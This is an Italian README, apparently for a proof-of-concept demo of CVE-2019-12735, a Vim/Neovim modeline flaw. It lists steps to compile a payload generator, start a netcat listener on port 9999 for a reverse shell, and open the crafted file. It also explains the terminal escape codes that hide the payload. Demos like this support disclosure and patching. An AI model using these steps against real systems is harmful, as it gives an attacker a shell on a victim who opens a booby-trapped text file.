
Una demo per cve-2019-12735
Questa CVE è stata risolta dopo neovim 0.3.6 e vim 8.1.1365
vim demo1.txt
gcc make_demo3.c -o make_demo3
./make_demo3
nc -vlp 9999
vim demo3.txt
E poi, puoi eseguire qualsiasi comando Linux nella sessione.
\x1b[?7l : Non andare a capo quando si arriva a fine riga, sovrascrive continuamente l'ultimo carattere\x1bS: STS, Imposta lo stato di trasmissione\x1b[1G: Sposta alla colonna 1\x1b[K: Elimina tutti i caratteri dalla posizione corrente del cursore fino a fine riga